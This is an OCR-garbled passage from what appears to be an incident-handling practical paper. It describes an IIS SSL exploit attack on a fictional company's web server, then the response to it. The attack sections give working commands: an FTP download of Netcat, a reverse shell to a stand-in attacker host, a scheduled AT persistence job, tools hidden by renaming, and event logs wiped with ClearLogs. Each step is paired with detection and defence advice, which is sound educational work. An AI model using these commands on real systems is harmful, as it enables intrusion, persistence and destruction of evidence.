Apply onto: [ This abisct aril =] | fuserow cusTer
Aocess Successiul  Failed =
Traverze Folder / Execute File ™ E %]
Ligt Folder / Read Data O O MG crndialzz. dil
— Fiead Attibutes O O
i JUIL Read Estended Attibutes O O
Create Files / \Write Data O O % @
- Crelate Follders #bppend Data O O o -
r Wiite Attributes O O
el Wite Estended Attibutes O O
I llow inheritable aud Delete Subfolders and Files O [l | %
Delete O O "

Figure 14. Audit cmd.exe

When the exploit manages to penetrate the server, and executes cmd.exe, the
event will be recorded in the Security Log, as seen in Figure 15. Can be seen
that the user is SYSTEM and the Object Name is cmd.exe.
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Event Properties E

Ewent |

[rate: 7842004 Source:  Securby + |
Tirne: = Rala Categony:  Object Access
Tope: Success EwentID: 560 + |
Uzer KT AUTHORITYSSYSTEM IR
Computer: I
Description;
Object Open: il
Ohject Server: Security
Object Type: File

Object Mame: W HN T vepstem32ACMD . EXE
MewHandle 1ID:  1EE4

Dperation |0 0219193

Process [0 264 _.'.!

Dhata: A% Byres € wiords

|

(0} | Cancel I Apply |

Figure 15. Audited Execution of cmd.exe

4.4Keeping Access

The shell access gained by running the exploit in the previous phase is only used for the
initial access to the system. Further in the keeping access phase, to maintain access to
the system by the attacker, there are two things need to be done:
e Creating backdoor access to the system that does not rely on the vulnerability.
e Fixing the vulnerability so that nobody else can make use of it to access the
system with the same exploit, including the attacker himself.

4.4.1 Creating Backdoor Access

While using the exploit is sufficient to get the access to the system, it is not for
permanent access because of several reasons. Firstly, it is also exploitable by any other
people running the exploit, since the exploit is widely available in the Internet.
Therefore, other people also able to get into the system and do the same thing as the
attacker, which definitely the attacker does not want. Secondly, once the server
administrator fixes the vulnerability, as suggested by related advisories, the attacker will
no longer be able to get in. Other method that is stealthier, only allow the attacker
himself to access and is not even related to the vulnerability being exploited should be
used after the initial access with the exploit.
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The tool that is going to be used to facilitate the access here is Netcat, which can be
downloaded from http://www.atstake.com/research/tools/network utilities/. Using this

tool, both the attacker machine, as well as the target machine have to have Netcat on

them.

Therefore, prior to setup the alternative access method using Netcat, the tool has to be
downloaded to the target machine. FTP protocol is used to perform this, as the server
might likely is allowed by the firewall to make FTP outgoing connection. The attacker
sets up an anonymous FTP server, and put Netcat (nc.exe) executable file accessible.
Via the shell access provided by the exploit, the attacker can run FTP command to

download nc.exe. This is shown in Figure 16.

L WINNT' System32' cmid.exe - thoisslame NG

G:nrtheciisslame I BN 143

THCIISSLame vB.3 — IIS 5.8 S58L remote root exploit
tested on Windows 2888 Server germansengliszh SP4
hy Johnny Cuberpunk (jeyberpunkBthe.org)

building buffer

connecting the target

exploit send

waiting for shell

Exploit successful ¥ Have fun ?

Microzoft Windows 2080 [Uersion 5.8A.21951
CC» Copyright 1985-2000 Microsoft Corp.

E:sHINNTssystemd322ftp —A I
fip —f I

Anonymous legin succeeded for N
bhin

get nc.exe

Figure 16. Downloading Netcat

The following command is issued from the shell:

ftp -A 10.10. 10. 101

This command sends an anonymous FTP request to 10.10.10.101, which is the attacker
machine, where he set up the FTP server. The —A command switch allows the FTP
client to send anonymous request without the need for the user to key in credentials.

After login succeeded, the following FTP commands are issued:

bi n
get nc. exe
bye

The bin command is issued to request for binary transfer mode, because the file
requested is a binary file. The next command, get nc.exe, is to download the nc.exe.
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Lastly, bye command is to quit the FTP session. At this point the nc.exe has already
been downloaded into the target machine.

The backdoor access will be setup by using Netcat run as client mode from the target
server, connecting back to the attacker machine running Netcat in listening mode. When
used as client mode, Netcat is making a connection to other destination from the
machine it is run. While when it is used in listening mode, Netcat listen on particular port
specified for an incoming connection, or in other words acting as a server. The protocol
or application used with the connection depends on what is specified by Netcat in client
mode or listening mode. The Windows command shell, cmd.exe is used here and
specified by the client mode Netcat running on the target server, so that when
connection is established, the client mode Netcat will execute the cmd.exe and send it
over the connection, letting the listening mode Netcat running on the attacker machine
get the shell access of the target server.

This is similar to the approach taken by the exploit using connect back shell. As
explained before, in this situation, there are several ports can be chosen for the
outgoing connection. Port 443 is used by the exploit for the target server to connect
back to the attacker machine, and this is still required for now. The FTP port 21, also in
use for FTP transfer. Port 80 will be use for this, which will looks like an outgoing HTTP
traffic when seen by the firewall (but not proxy based firewalls, which is able to
distinguish HTTP protocol from others running on port 80).

Netcat on the attacker machine in listening mode, will be run using the following
command:

nc -1 -p 80

Command arguments of the above are explained in the following table:

Command Arguments Description

nc Executable file of Netcat

Instructs Netcat to run in listening mode, to accept
incoming connection on the TCP port specified with -p
Specifies the TCP port to use, in this case port 80. This
option is used with listening mode.

-p 80

On the target server, Netcat is run as client mode, using the following command:

nc <attacker-IP-or-hostnane> 80 -e cnd. exe
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The command arguments used are explained in the following table:

Command Arguments Description
nc Executable file of Netcat
Instructs Netcat to connect to the IP address or
hostname, in this case to that of the attacker
machine. In the real execution, this will be replaced
by the IP address or hostname.
Instructs Netcat to make connection on this port, in
80 this case TCP port 80. This option is used with
client mode.
Specifies the application to run, in this case
cmd.exe, the Windows Command Shell.

<at t acker - | P- or - host nanme>

-e cnd. exe

By the time Netcat is run on the target server, the listening Netcat on the attacker
machine must be ready to accept the connection. When the connection is successful,
the attacker machine will be able to get the shell access of the target server.

Since access using the exploit will not be available later on, once it is being fixed by the
attacker himself, access to the exploited server will rely on this newly setup Netcat
connection. With the target server as the one initiating the Netcat connection, if only one
time connection is created, once the attacker closes the shell connection, he will no
longer be able to access the system. For this reason, there has to be a way to make the
target server initiates connections repeatedly.

This can be achieved by running the Netcat command using the Task Scheduler
service, which is enabled by default in Windows 2000 Server. By doing this, Netcat will
be run on the specified schedule.

The “net start” command can be used to check whether the Task Scheduler service is
running. It will display all running services, and if Task Scheduler is listed there,
meaning it is already running. If Task Scheduler is not there, then it has to be started
first (which is not necessary here because it has already been started), with the
following command:

net start “task scheduler”

“Net start” is the command used to start Windows services, while “task scheduler” is the
service that needs to be started.

As mentioned earlier on, the IP address of the attacker machine is obtained dynamically
from the ISP. When performing the initial attack, the IP address is known, which is
10.10.10.101. However, subsequent connections through the scheduler may need to
connect to different IP address, because it may span different days where the attacker
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machine maybe rebooted and obtains different IP address. Therefore hostname is used
here instead.

From the shell command line, the AT command is used to schedule Netcat execution.
The following command is used to schedule Netcat connection every day at 12 am:

at 00:00 /every:mt,w,th,f,s,su cnd.exe /c "nc pc.attacker.net 80 -e cnd. exe"

Options used by the AT command above is explained in the table below:

Command Arguments Description
at The AT command
Time specified to run the scheduled command,
which is 12 am
Run the scheduled command every day of the
week:
m — Monday
t —Tuesday
levery:mt,wth,f,s,su w — Wednesday
th — Thursday
f — Friday
s — Saturday
su — Sunday
Specifies the command to be scheduled.
The commands between double quotes are the
Netcat command, which has been explained

00: 00

cnd. exe /¢ "nc previously. - - -

oc. att acker. net 80 -e The cmd.exe with /c argument is specified to allow

cmd. exe” Netcat to be executed by the command shell,
cmd.exe.

The /c argument instruct cmd.exe to execute the
strings that follows this argument

Figure 17 shows the scheduling of the Netcat connection with the AT command.
Running AT without any arguments will show all scheduled tasks. This is used to check
whether the scheduled entry has been added properly, as shown also in Figure 17.
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= I WINNT System32' cmd.exe - theiisslame

E:“WINNT~system32>at BB:08 reveryvim.t,w.th.f.s.su cnd.exe “c '"nc poc.attacker.net
88 —e cmd.exe"

at BA:08 severyim.t, w.th.f s.su cnd.exe “c '"ne pc.attacker.net 88 —e cmd.exe"
Added a new jobh with joh ID =

E:“WINNT~zyztem32 >at
at
Command Line

Each H T W Th F § Su 12:88 AM cmd.exe Ac "nc pc.attacker.net
88 —e cmd.exe"

E:“WINNT~system32>

Figure 17. Running AT Command

On the specified time, the attacker can run Netcat to listen on port 80 and wait for the
server to execute the scheduled task and run Netcat to initiate the connection. When it
is successful, the attacker can see the server shell on his machine, as seen in Figure
18, and resume access to the server without relying on the exploit anymore.

= WINNT System32icmd.exe - nc -1 -p 80

2808 [Uersion 5.86.2195%]
(C» Copyright 1985-2000 Microsoft Cowrp.

E:WINNT“»system32>_

Figure 18. Successful Netcat Connection

The activities in this section can be detected in several ways:

e Using firewall to see outgoing connections
The firewall log will show that the web server is making outgoing connections over
TCP port 21, 80 and 443. This may not be accurate and need to be investigated
further when administrators are also using the server for Internet connectivity on the
same ports.

e Checking scheduled tasks on the web server
Again, using the AT command without arguments will show the list of all scheduled
tasks, as mentioned earlier. The tasks scheduled should be checked if there are any
suspicious ones.

The defense methods recommended for preventing the backdoor access are as follows:
1. In the first place, prevent the exploit to successfully exploiting the system.
This can be done by both installing the latest security update, and configure the
firewall not to allow outgoing connections for servers unless necessary. These are
the same methods as mentioned in the previous section 4.3.
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2. Prevent the firewall from letting outgoing connections from servers, unless really
necessary.
While this is a repetitive recommendation, it is especially important here, because as
mentioned in this section, the attacker is using FTP command to download his tools.
It will not be possible to do this, if firewall blocks the FTP traffic initiated from the
server.

3. Use proxy or application proxy firewall
When proxies are used, the outgoing connection will be verified up to the application
level. Which means for example, if packets come in through TCP port 80, the
proxies will verify that they are HTTP packets, or else they will not let the packets
through. This defense mechanism will drop Netcat connection that is running over
port 80, because it does not use HTTP protocol format.

4. Disable the Task Scheduler service
If the Task Scheduler is disabled, AT command will not be functioning, so no
scheduling can be done. However, this will not stop the attacker to enable it again,
but only to slow him down. If he can get access to the graphical user interface of the
server, which is highly possible in this state, he can just go to the Services
configuration and enable the service. From command line, if he can get a tool from
Windows 2000 Resource Kit, called sc.exe, he can also make the changes to the
service status.

5. Enable auditing for ftp.exe and at.exe.
In the previous section, enable auditing has been discussed for the cmd.exe.
Additionally, the same thing can be applied to ftp.exe and at.exe that are used in this
section. When both commands are executed, the Security Log will capture the
events, similar to the one previously shown with cmd.exe.

4.4.2 Fixing Vulnerability

Once the shell connection using Netcat is established, the first shell connection created
using the exploit will be terminated and the vulnerability will be fixed. Fixing of the
vulnerability is not the act of kindness, but rather to own the system access only to the
attacker himself and prevents others gaining access using the same vulnerability.

As suggested in the vulnerability advisory from Microsoft*, the vulnerability can be fixed
by either applying patch, security update MS04-011 or adding a value in the registry.
Adding the value in the registry will be a simpler method, and is the one chosen here.

The purpose of adding value in the registry is to disable PCT protocol support that is
enabled by default. When PCT is disabled, the vulnerable routine is not reachable, thus
makes to server not vulnerable anymore. The value is added in the following registry
key:

10 http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx
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HKey_Local _Machi ne\ Syst em Current Control Set\ Control\ SecurityProvi der s\ SCHANNEL\
Pr ot ocol s\ PCT 1.0\ Server

With default configuration of the vulnerable server, there are no values under this
registry key.

The following value should be added:

Value name: Enabled
Data type: REG_BINARY
Value: 00000000

The tool used to change the registry from command line is reg.exe, which is part of
Windows 2000 Support Tools, available for download from
http://www.microsoft.com/windows2000/downloads/servicepacks/SP4/supporttools.asp
The tool has to be downloaded into the server from the attacker machine, carried out
using FTP commands similar to the ones used when downloading nc.exe (in section
4.4.1 above).

First of all, the existence of the value in the server is being checked, to see the current
value. The following command arguments is used:

reg query "HKLM systenm currentcontrol set\control\securityproviders\schannel\
protocol s\pct 1.0\server" /s

The following table explains the options used.

Command Arguments Description
reg The reg.exe executable
View the subkeys and values under the key
specified next
This is the registry key. Registry key need to be put
in between two double quotes when there are white
“<registry key>" space in it. The root key of the registry can be
abbreviated, where HKey_ Local _Machine becomes
HKLM.
Show all subkeys and values available under the
specified key

query

/s

Once it is seen that no value under the key, new value can be added, using the
following command:

reg add "HKLM system currentcontrol set\control\securityproviders\schannel\
protocol s\pct 1.0\server" /v Enabled /t REG BI NARY /d 00000000 /f

The command arguments are described further in the following table:
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Command Arguments Description
reg The executable name
add Add the value under the key specified next
This is the registry key. Registry key need to be put
in between two double quotes when there are white

“<registry key>” space in it. The root key of the registry can be
abbreviated, where HKey Local Machine becomes
HKLM.

/v Enabl ed Specify value name, which is Enabled

/'t REG_BI NARY Specify data type, which is REG_BINARY

/'d 00000000 Specify value, which is 00000000

/f Force to overwrite existing registry entry

After value is added, value checking is done one more time to see if the addition is
successful. This is done with the “reg query” command with the same options as
explained above. This time the new value is shown as expected. The execution of the
command can be seen in Figure 19.

"AWYINNT . System32 ' cmd.exe - thoisslame:

E:%>reg add "HELM:systemhcurrentconteolsetcontrolssecurityprovidersischanne 1npr
otocolsspect 1.Bserver" v Enabled -t REG_BIWARY .d B0000G0HE f

reg add "HELMMszystemscurrentcontrolsetcontrolizecurityproviderssschannelsprotoc
olsspct 1.Bzerver” <v Enabled ~t REG_BIWARY ~d DOBABEAR -F

The operation completed successfully

E:vJreg guery "HELMssystemscurrentcontrolsetcontrolssecurityproviderssschannels
protocolsspet 1.@wserver' /s

reqg gquery "HELMssystemscurrentcontrolset~controlssecurityproviderssschannelxprot
ocolswpct 1.@%server' s

* REG.EXE UERSION 2.8
HKEY_ LOCAL_MACHIMNE“=zystem“currentcontrolsetscontrolssecurityprovidersischannelxp
rotocolsspet 1.Bwzerver

Enabled REG_BINARY IRERERRE

E:so>

Figure 19. Using reg.exe

To apply the changes on the registry, the server has to be rebooted. The PsShutdown
tool from http://www.sysinternals.com/ntw2k/freeware/psshutdown.shtml is used to do
this from command line. Similarly, the psshutdown.exe has to be downloaded to the
server first. Figure 20 shows the shutdown process.
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WINNT System32' cmd.exe - thoiisslame I |

E:%>psshutdown —» —Ff
psshutdown —» —f

Pzfhutdown v2.32 — Shutdown,. logoff and power manage local and remote systems
Copyright (C)» 1997-2804 Mark Bussinovich
Sysinternals — www.sysinternals.com

Local system is scheduled to reboot in BE:-UB:-20.

Ez%>

Figure 20. Shutdown With PsShutdown

The command executed for the shutdown is:

psshutdown -r -f

The arguments used are explained in the following table.

Command Arguments Description
psshut down The executable name
- T Perform restart of the machine
-f Force all running applications to exit right away

At this point, the server is rebooted, and once the server is up, attacker can only access
the server using the Netcat connection, which will be available starting the next
scheduled time. To test whether the server has already running after reboot, the
attacker can simply try to access the web site using his browser.

The actions taken in fixing the vulnerability, can be detected with the following ways:

e The firewall logs will show outgoing connections from the server over TCP port 443
(used by Netcat connection) and TCP port 21 (used by FTP command) to the
attacker machine.

e Checking on the specified registry entry with reg.exe utility (using the “reg query”
explained earlier) or with the standard graphical utilities for accessing registry,
regedit or regedt32, will show the existence and settings of the “Enabled” value.
Figure 21 shows the view of the registry settings with regedit. This is quite difficult to
achieve unless the method of attack used by attacker has already been known by
the one who done the investigation.
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Figure 21. Viewing Registry With regedit

Several defense mechanisms can be applied for the activities here:

1. Prevent the attacker to get his utilities, which enabled him to make changes on the
registry from the command line. This means, prevent him from running FTP
command. Blocking using the firewall, as mentioned in earlier section, can prevent
this.

2. Enable auditing for system events.

On top of the previous audited files, auditing for system events can be enabled. This
action will record the server startup event. As seen previously, after the attacker
make changes to the registry, he has to restart the machine. When the event is
recorded into the logs, administrator can be more alert and further investigate the
cause of the server restart by itself. Startup event captured is shown in Figure 22.
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Event Properties ﬂ E |

Ewent |

[ ate: 7182004 Source:  Security + |

Time: 14 Categony:  System Event

: . + |
Type: Success Event ID: B12
Lser: MNT AUTHORITY4SSTER
LCormputer: N
Dezcriphion:

efindowes MT iz starting up.

Diata; &%) Bytes € Words

[
Ok I Cancel | Apply |

Figure 22. Server Startup Event

4.5Covering Tracks

While maintaining his access to the server, the attacker will try to reduce the possibility
of getting noticed, or further getting caught. Several actions are performed for this

purpose:
¢ Renaming the downloaded files into something different and does not cause
suspicion.

Prior to download them into the server, the attacker can rename the files first.

One instance, changing the nc.exe to winword.exe may be thought of as Microsoft
Word executable file. This method is a simple method, and still can easily be
uncovered, for example by running it from command line and analyze, perhaps also
specify their online help facilities. Normally online help will take format either with “/?”
or “-h” or just run the command without options. From here, what is the actual
executable file can be determined.

e Copying the files downloaded into locations that are not easy to check.
Files are simply copied into directories or folders that contains large number of files,
like those under “\program files” or even “\winnt”. For this case, the files are copied
to “\winnt\system32”, which actually the default directory used by the cmd.exe. There
are quite a number of files in there, which not easy to get noticed when it is check
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manually. Using Windows search utility will not be able to find these files because
they have already been renamed.

e Deleting the files when they are not required.
Once the utilities downloaded are not required, they can be deleted using “del <file
name>”" from command line. The nc.exe is still required and therefore is not deleted.

e Deleting the server’s Event Logs
Windows 2000 Servers log various activities in the Event Log. When security
auditing is enabled for certain objects, like folders, files, printers or registry keys,
activities involving them will be recorded in the Event Log, particularly in the Security
Log. These activities include execution, creation and deletion of files or folders.
There are also auditing for system events like when server is shutdown or started.
Attacker activities on the server maybe recorded in the logs as well. Therefore, to
avoid detection, the logs content should be deleted. Although the tracks may only be
recorded in the Security Log, all logs (System Log and Application Log) should be
deleted also to avoid suspicion.
ClearLogs is used for this purpose (http://ntsecurity.nu/toolbox/clearlogs/).
The following is the usage of the tool:

C:\>cl earl ogs

ClearLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity. nu/tool box/clearl ogs/

Usage: clearlogs [\\conputernane] <-app / -sec / -sys>

-app = application |og
-sec = security |log
-sys = system | og

To clear Application Log, the following command is run and the result is displayed
next:

C:\>cl earl ogs -app

ClearLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity. nu/tool box/clearl ogs/

Success: The | og has been cl eared

To clear Security Log, the following command is run and the result is displayed next:

C:\>cl earl ogs -sec

ClearLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstromantsecurity.nu)
- http://ntsecurity. nu/tool box/clearl ogs/

Success: The | og has been cl eared
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To clear System Log, the following command is run and the result is displayed next:

C.\>cl earl ogs -sys

ClearLogs 1.0 - (c) 2002, Arne Vidstrom (arne.vidstromantsecurity.nu)
- http://ntsecurity.nu/tool box/cl earl ogs/

Success: The | og has been cl eared

The security auditing functionality in Windows 2000 is the mechanism available to
detect the covering tracks activities, but unfortunately is not enabled in the server being
attacked. Fortunately, the deletion of Security Log generates a new entry in the Security
Log after the deletion, indicating that the audit log has been cleared. This is a sign that
either the administrator or an intruder performs log deletion. Figure 23 shows this event.

eventproperties K|
Event |

[rate: 7A18/2004  Source:  Security
Time: 1431 Categony:  Spstem Event
Type: Success EwventID: 517

Uszer: MNT AUTHORIT 5SS TER
Computer: Iy

Dezcriphion:

The audit log was cleared
Frimary User Mame: S7STEM
Frimary Domaire NT AUTHORITY
Frimary Logon [D: - [0=0,023E7]
Client User Mame: STSTEM
Client Dornair: MNT AUTHORITY
Client Logon D: - [0x0.043E71

Datar & Butes € wWionds

e e |f|:t

E
(1] 4 I Cancel | Apply |

Figure 23. Audit Log Cleared Event

To prevent the activities carried out here pretty much depend on the earlier defenses. If
the exploit was not able to penetrate, definitely the files could not be downloaded and
then run on the server.

As for the Event logging, it is recommended to set up a remote logging facility, instead
of only to local Event Logs. When the local logs are cleared, there is still another copy in
the remote location. The attacker will need to attack that remote machine as well in
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order to get rid of logs. To facilitate this, usually syslog logging is used, where syslog
client is installed on the machine sending the logs while syslog server or syslog daemon
is running on the log server who receives the logs. In Windows environment, third party
syslog client is required in order to send the Event Logs content to syslog server.
EventReporter from http://www.eventreporter.com/en/ or Eventlog to Systlog from
https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys are two of
such client.

5. The Incident Handling Process

The incident handling process explained here is used to address the above incident
experienced by Mygiftonline.com. The company has suffered a break-in that cost them
confidential information, through the exploitation of weakness in the web server
implementation. Six step process from preparation, identification, containment,
eradication, recovery and lesson learned will be used to handle the incident.

5.1Preparation

The preparation section discusses what the company has in place in order to prepare
for any incident that may take place.

The company’s IT department consists of 5 personnel, which are an IT Manager, a
network engineer, a system administrator, a desktop administrator and a web
developer. The IT Manager is in-charge for the overall operation in IT department
including security aspects. The network engineer handles network matters, including the
firewall. The system administrator is responsible for the servers, the desktop
administrator handles the users workstations, and the web developer handles the web
site and web application. Although the IT Manager is handling security, the scope is still
very limited to firewall and anti virus. The IT department focus is more to make sure that
the operation of the company through the IT infrastructure can function without
interruption rather than complement them with adequate security countermeasures.

The company network, as seen in section 3 above, possesses minimal security

countermeasures.

e Servers are configured with their default security configurations. Auditing is not
enabled on the servers. Web server logs are available, recording client requests to
the server. Server files are backed up weekly with full backup into tapes using
Windows Backup utility, and there are binary images of the server software created
after every major change on the server using Symantec Ghost. Major change refers
to installation of software, patches or update on the server. Patches or updates on
the servers are only done with the major service packs.

e Firewall is implemented, but with a general policy configuration that is still quite weak
to deter some attacks. Logging on the firewall is enabled, which would help in the
incident investigations.
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e Router is not configured with any filtering mechanism, and there is no logging
implemented.

e Anti virus software is implemented on the servers and workstations, as well as on
the Microsoft Exchange, to scan data at the mail server level.

e There is no IDS implemented that could help in monitoring the network against
attacks.

The company does not have an established security policy to support the business
operation, because of its focus to operational than security. Security policy importance
is not realized and lacking of awareness. Therefore, there is no incident handling
process established before the incident take place. This has not even been thought of
as an important process.

Before the incident, the company engaged SecurityAdvice, a security consultant firm, to
perform an auditing on the firewall. It is the SecurityAdvice that managed to convince
the IT Manager to get support from the management to perform such assessment and
its importance. And during the audit, the security consultant found that there were signs
of intrusions. When this was reported to the IT Manager, suggestion was made and
approved by the management to allow SecurityAdvice to handle the incident. The
management was convinced that if the incident is not handled quickly and properly, it
would affect the reputation and the survival of the company.

SecurityAdvice quickly formed the incident handling teams with a core team and a
larger team. The core team consists of people that directly involved in technically
handling the incident, they are:
e Team leader
A Senior Security Consultant from SecurityAdvice with expertise and experience
in leading incident handling teams is appointed for this role.
The role of team leader:
= Coordination of the team, situation and data gathered
= Decision making on the findings and reporting the results of incident
handling, as well as making recommendations.
e Security Consultant
The security consultant from SecurityAdvice with experience in incident handling
is the one who performs the technical investigations on the network and servers.
e |T Manager
As the person responsible for the IT department, he will be the person that will
liaise with senior management to make decision on behalf of the company.
e Network Engineer
He will help in performing data collection from the network and firewall, as well as
source of information about the network infrastructure.
e System Administrator
Getting server configurations and information, with data collection, data backup
and recovery will require his help.
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Web Developer

Because he is the one who maintained the web site and web application, he will
be a useful source of information if the incident found to be related to the web
content.

The larger team consists of the core team and additional individuals that are non-
technical in nature:

Human Resource Manager

He will be able to make decision related to internal staff, if there is an insider
involved.

Legal Advisor

He will be able to give advice if the interfacing with law is required.

While the company does not have an established security policy and incident handling
process, the following sample policies can help to avoid the incident happened here.
e Server Security Policy

Server must be installed and configured according to the secure server
installation and configuration standard.

Critical security related activities should be audited and logged.

There should be a remote logging facility to allow duplication of server logs.

The latest patches and updates available and applicable for the individual server
must be applied at the soonest time possible.

o Firewall Security Policy

Firewall should employ a default deny policy, only allow what is specifically
required, or else it should be denied.

Servers should not be allowed to make outgoing connections to Internet, unless
the need to do so is required for that particular server to function.

e Security Audit Policy

Security audit and assessment should be conducted regularly on the network
and systems, to ensure compliance with the respective security policies and to
identify any possible security risks.

Independent third party should be engaged for the audit activities, to provide
objectivity in presenting the audit results.

Jump bag used for the incident handling contains the following items:

Dual boot OS incident handler laptop (Windows 2000 Professional and Redhat
Linux 9), with CD Writer drive

8 ports hub

UTP patch cables, both straight-through and cross-over cables
Blank CD-R disks

Blank floppy disks

USB memory stick

USB external hard drive

IDE hard drive and cables

SCSI hard drive with cables and converters

Serial cables and converters (DB9, DB25, RJ45)
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e Toolkit set (contains various screw drivers, pliers, cutters, etc)

Flashlight

Pens

Spiral notebooks

Ziplock bags and labels

Digital camera

Digital audio recorder

¢ Incident handling forms

e Bootable CDs containing FIRE (Forensic and Incident Response Environment)
from http://fire.dmzs.com and Knoppix from http://www.knoppix.org/, for system
analysis and evidence gathering

e CDs containing Windows binaries and utilities

e CDs containing Windows 2000 Resource Kit utilities

e CDs containing various utilities from Foundstone, like Fport and BinText,
available at http://www.foundstone.com/resources/freetools.htm

e CDs containing various utilities from Sysinternals, like PsTools, available at
http://www.sysinternals.com

e Symantec Ghost 8.0, from http://www.symantec.com/ghost/ installed on the
laptop for binary imaging purposes, as well as the source software in the CD.

e NeWT from Tenable Security (http://www.tenablesecurity.com/newt.html)
installed on the laptop, as well as the source software in the CD, used for
vulnerability analysis.

5.2ldentification

The identification phase discusses the initial process starting when the incident is first
suspected until it is confirmed with the evidence gathered. Timeline of the incident is
also given. It is all started by a security consultant from SecurityAdvice performs
auditing on Mygiftonline.com’s firewall.

July 26, 09.00am
The security consultant arrive at the site to perform firewall audit, including checking out
the logs.

July 26, 10.00am

When he goes through the firewall logs, he found interesting facts that the web server
initiated outgoing connections to several IP addresses. Most of these connections
happened during non-working hours around midnight time.

The sample of suspicious log entries are shown below:
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e This is the outgoing connection on TCP port 443, from the web server to
10.10.10.101

Jul 17 23:31:27 the-fw kernel: Qutgoing HITPS: | N=et hl QUT=et h0
SRC=192. 168. 1. 3 DST=10. 10. 10. 101 LEN=48 TO0S=0x00 PREC=0x00 TTL=127 | D=9691
DF PROTO=TCP SPT=1034 DPT=443 W NDOW16384 RES=0x00 SYN URGP=0

e This is the outgoing connection on TCP port 21, from the web server to 10.10.10.101

Jul 17 23:32:06 the-fw kernel: Qutgoing FTP: | N=ethl QUT=et h0
SRC=192. 168. 1. 3 DST=10. 10. 10. 101 LEN=48 TOS=0x00 PREC=0x00 TTL=127 | D=9925
DF PROTO=TCP SPT=1038 DPT=21 W NDOW16384 RES=0x00 SYN URGP=0

e This is the outgoing connection on TCP port 80, from the web server to 10.10.10.101

Jul 18 00:00: 05 the-fw kernel: Qutgoing HTTP: I N=et hl OUT=et hO
SRC=192. 168. 1. 3 DST=10. 10. 10. 101 LEN=48 TO0S=0x00 PREC=0x00 TTL=127 |D=1335
DF PROTO=TCP SPT=1033 DPT=80 W NDOW16384 RES=0x00 SYN URGP=0

The first day these suspicious entries start appears was July 17, and the initial
connections are over TCP port 443. This is then followed by TCP port 21, and then TCP
port 80, interchangeably. Subsequent day, starting every midnight, there are outgoing
connections over TCP port 80. It will then on some days followed by outgoing
connections over TCP port 21. However, the destination IP addresses for these
connections are different on each day.

July 26, 10.15am

Feeling that something might went wrong, he quickly approaches the system
administrator and the web developer who both have local access to the web server, and
clarifies if they know anything about this. The answer is no, they have never use the
web server for outgoing connections during those midnight time periods. There is no
programs or scripts on the web server that initiates such connections.

July 26, 10.30am

With this explanation, it is sufficient enough for the security consultant to report the
situation to the IT Manager that he suspects there is an incident occurs. He
recommends to the IT Manager to engage the Incident Handling team from
SecurityAdvice. After a short discussion with Senior Management, the IT Manager gets
the approval to proceed with the engagement.

July 26, 11.30am

Two personnel from SecurityAdvice arrive at the location, which are a Senior Security
Consultant, which acts as team leader, and a Security Consultant, which will perform
technical investigations.

A quick briefing is conducted to gather information and explain what is going to be done.
It is attended by the people assigned as part of the incident handling team (described in
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the preparation phase), along with the security consultant who performed the firewall
audit and initially suspected the incident. The briefing discusses the following:
e Forming the incident handling team, as described in the preparation phase. Each
member role and function is explained.
e The Incident Handling consultants request information about the initial findings,
which then explained by the firewall audit consultant.
¢ Information about the network structure is requested and documentations and
network diagram is given. The IT team explains the information briefly.
e The consultants ask about security monitoring mechanism implemented in the
network or systems.
e The team leader explains that they will do initial investigation to find out if there is
really an incident happening and gathering evidence first.

From the briefing and information given, it is understood that the security monitoring
mechanism available is the firewall logs, which is apparently has never been checked,
until the audit take place, and the web server logs. There is not any IDS implemented,
while audit policy on the Windows 2000 servers, including the web servers, is not
enabled.

July 26, 01.00pm

Investigation starts by doing a review with what has been found by firewall audit
consultant on the firewall, and conclude the same thing as before, that the web server
might be compromised.

July 26, 01.30pm
As there are no other ways of security or traffic monitoring from the network, the next
place to check for the signs if intrusion is the web server itself.

Firstly, checking is done to see the running services and processes. Netstat, a Windows
system utility is used to see current status of the connections and listening services:

E:\>netstat -an > a:netstat.txt

The “-a” option is used to show all the connection and listening ports, while “-n” is for
showing the addresses and ports in their numerical forms instead of numeric. The “>
a:netstat.txt” argument is to redirect the output of netstat to a file netstat.txt in floppy
disk for information collection. At this moment there is no outgoing connections are
being made to Internet addresses, only incoming are seen (Internet users connecting to
the web site), as shown below with state “ESTABLISHED”, and the local address ports
80 and 443:

Active Connections

Proto Local Address For ei gn Address State

TCP 0.0.0.0:80 0.0.0.0:0 LI STENI NG
TCP 0.0.0.0: 135 0.0.0.0:0 LI STENI NG
TCP 0.0.0.0: 443 0.0.0.0:0 LI STENI NG
TCP 0.0.0.0: 445 0.0.0.0:0 LI STENI NG
TCP 0.0.0.0: 1025 0.0.0.0:0 LI STENI NG
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11027
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3389

13762

: 5800

15900
.1.3:80
.1.3:80
.1.3:139
.1.3:443
.1.3:443
1135

1445

11026

11030

1 3456
.10.111: 137
.10.111: 138
.10.111: 500

coocooooo0
°o999990
cNololoNoloNoNo]
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Noooooooo

0.0.0.0:0

172.31.1.254: 1091
172. 16. 3. 204: 1085
*

*

EE I S
EE I R

.16. 1. 254: 1087
10. 10. 100. 100: 32771

LI STENI NG
LI STENI NG
LI STENI NG
LI STENI NG
LI STENI NG
LI STENI NG
LI STENI NG
LI STENI NG
ESTABLI SHED
ESTABLI SHED
LI STENI NG
ESTABLI SHED
ESTABLI SHED

A utility from Foundstone, Fport* is used to see the programs running on certain TCP

or UDP ports. It is executed using the command:

E:\>fport > a:fport.txt

Similar to netstat, the “> a:fport.txt” is to redirect the results to the fport.txt in floppy disk.
No suspicious applications are opening any listening ports, as seen below showing the
standard Windows services.

FPort v2.0 - TCP/IP Process to Port Mapper

Copyri ght 2000 by Foundstone,
http://ww. f oundst one. com

Pid
968
968
496
8

968
8

556
788
968
8

556
380
968

496
8
8
8
260
248
968
968

Process
inetinfo
inetinfo
svchost
System
inetinfo
System
nsdt ¢
MSTask
inetinfo
System
nsdt ¢
ternsrv
inetinfo

svchost
System
System
System

| sass
services
inetinfo
inetinfo

Port
-> 25
-> 80
-> 135
-> 139
-> 443
-> 445
-> 1025
-> 1027
-> 1029
-> 1031
-> 3372
-> 3389
-> 3762

-> 135
-> 137
-> 138
-> 445
-> 500
-> 1026
-> 1030
-> 3456

I nc.

Proto Path

TCP  E:\W NNT\ SystenB2\i netsrv\ineti
